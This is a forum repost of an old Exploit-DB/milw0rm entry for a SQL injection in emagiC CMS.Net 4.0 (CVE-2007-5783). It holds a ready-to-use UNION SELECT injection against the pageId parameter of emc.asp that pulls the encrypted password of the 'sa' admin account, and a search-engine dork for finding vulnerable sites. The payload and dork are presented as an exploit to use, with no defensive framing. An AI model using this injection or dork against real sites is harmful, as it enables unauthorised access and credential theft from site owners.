Exploit emagiC CMS.Net 4.0 - 'emc.asp' SQL Injection

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
4578
Проверка EDB
  1. Пройдено
Автор
HAK3R-B0Y
Тип уязвимости
WEBAPPS
Платформа
ASP
CVE
cve-2007-5783
Дата публикации
2007-10-28
Код:
--------------------

emagiC CMS.Net v4.0 Remote SQL Injection Exploit

--------------------

+ Found  : hak3r-b0y
+ Gr33tz : darko , V4 CrackerS , hacker_alQassam , Ans , Barra, all ans-hacker.com members
+ Script URL : http://www.emagic-cms.com/
+ D0rk : inurl:emc.asp?pageid=
--------------------

Exploit:

emc.asp?pageId=1' UNION SELECT TOP 1 convert(int, password%2b'%20x') FROM EMAGIC_LOGINS where username='sa'--

y0u will find the crypted password

for the admin 'sa'
--------------------

ContacT: [email protected]

--------------------

# milw0rm.com [2007-10-28]
 
Источник
www.exploit-db.com

Похожие темы